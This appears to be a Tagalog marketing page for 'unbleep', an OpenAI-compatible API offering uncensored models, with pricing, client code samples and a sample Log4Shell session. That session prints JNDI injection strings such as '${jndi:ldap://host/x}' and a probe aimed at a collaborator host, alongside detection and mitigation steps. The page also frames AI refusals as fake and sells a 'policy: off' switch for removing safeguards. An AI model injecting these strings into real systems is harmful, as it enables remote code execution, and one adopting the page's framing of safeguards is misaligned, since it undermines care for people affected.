Sumasagot ang mga mainstream na model nang may bleep. Tinatanggal namin iyon.
Isang developer-first at OpenAI-compatible na API para sa mga model na walang restriksiyon — para sa red-teaming, pagsusuri ng jailbreak, safety research, at anumang hindi puwedeng maglabas ng pekeng pagtanggi.
Pinangalanan ayon sa ginagawa nila, hindi ayon sa open-weight na model sa ilalim — para mapahusay namin ang weights nang hindi kailanman nasisira ang code mo.
Ang default. 256K-token na window, walang sensura — ang pang-araw-araw na workhorse para sa red-teaming, evals at research.
Ang frontier tier. 1M-token na context para sa pinakamalalaking trabaho — buong codebase, mahahabang transcript, malalimang analysis ng maraming dokumento.
Ang mura at mabilis na opsyon. Mas mababang gastos kada token para sa high-volume na traffic at mas simpleng mga call.
Isang red-team session tungkol sa Log4Shell — root cause, ligtas na pagsubok sa lab, at ang fix. Walang sermon, walang pagtanggi; analysis lang.
CVE-2021-44228 (Log4Shell). Ang root cause, at kung paano nagiging RCE ang JNDI lookup.${…} lookup sa loob ng mga string na nila-log nito. Ang na-log na value gaya ng ${jndi:ldap://host/x} ay nagpapa-resolve sa JVM ng pangalang iyon sa LDAP/RMI, kumukuha ng remote na Java class at ini-instantiate ito — tumatakbo ang arbitrary code sa loob ng logging process. Ang trigger surface ay anumang umaabot sa isang log call: User-Agent, mga header, mga form field. Apektadong range: 2.0-beta9 → 2.14.1.${jndi:ldap://<token>.your-collab/x} sa isang header na alam mong nila-log.<token> ay nangangahulugang na-interpolate ang string → vulnerable. Walang sine-serve, kaya walang tumatakbo.JndiLookup.class at i-check ang mga version laban sa apektadong range.2.17.1+. Hindi pa puwede? I-set ang log4j2.formatMsgNoLookups=true (2.10+) o tanggalin ang JndiLookup.class mula sa classpath, magdagdag ng WAF rule para sa ${jndi:, at i-egress-filter ang outbound na LDAP/RMI ng host.Drop-in OpenAI-compatible ang API. Palitan ang base URL at ang key — patuloy na gagana ang kasalukuyan mong code, SDK at mga tool.
from openai import OpenAI
client = OpenAI(
base_url="https://unbleep.ai/v1", # ← the only change
api_key="ub_live_9f2c…",
)
stream = client.chat.completions.create(
model="unbleep",
messages=[{"role": "user", "content": "…"}],
stream=True,
)
for chunk in stream:
print(chunk.choices[0].delta.content or "", end="")import OpenAI from "openai";
const client = new OpenAI({
baseURL: "https://unbleep.ai/v1", // ← the only change
apiKey: "ub_live_9f2c…",
});
const stream = await client.chat.completions.create({
model: "unbleep",
messages: [{ role: "user", content: "…" }],
stream: true,
});
for await (const chunk of stream)
process.stdout.write(chunk.choices[0].delta.content ?? "");curl https://unbleep.ai/v1/chat/completions \
-H "Authorization: Bearer ub_live_9f2c…" \
-H "Content-Type: application/json" \
-d '{
"model": "unbleep",
"messages": [{"role":"user","content":"…"}],
"stream": true,
"policy": "off"
}'OpenAI Python, Node, at anumang tool na gumagamit ng Chat Completions API. Walang bagong kailangang matutunan.
text/event-stream ng mga delta chunk, na tinatapos ng [DONE] — eksaktong pina-parse na ng client mo.
Ipadala ang "policy": "research" para i-tag ang isang request sa iyong usage history, o "strict" para mag-enforce ng blocklist, kapag kailangan ito ng isang proyekto.
Bumili ng credit kailan mo man kailangan, o ilagay ito sa monthly plan at hayaang dumating nang kusa. Sinisingil ang bawat request batay sa mga token na aktuwal nitong nakonsumo, sa nakalathalang per-million na rate para sa model na tinawag mo.
unbleep $3.00 in / $3.00 out
unbleep-high $5.00 / $5.00
unbleep-mini $1.00 / $1.00
kada 1M token
Magdagdag ng credit gamit ang card kailan mo man kailangan, o hayaang ihatid ito ng plan bawat buwan. Hindi ito nag-e-expire habang bukas ang account mo, at puwedeng i-refund ang hindi nagamit na credit sa loob ng 14 na araw.
Nagre-reserve kami ng estimate kapag nagsimula ang isang request at sine-settle ito sa totoong halaga ng token kapag natapos. Ang request na nag-error ay inilalabas, hindi kailanman sinisingil.
Tinatanggihan ang isang request kapag hindi ito kayang sagutin ng balanse mo — hindi kami kailanman nagpapautang o naniningil pagkatapos. Nasa console ang balanse at token spend.
Ang unbleep ay para sa mga security team, researcher at builder na nangangailangan ng unfiltered na baseline. Zero-retention bilang default, first-class na policy dial, per-request na usage at cost history sa console, at isang totoong patakaran sa katanggap-tanggap na paggamit. Ang walang sensura ay isang kakayahan — ikaw ang magpapasya kung paano ito pamamahalaan.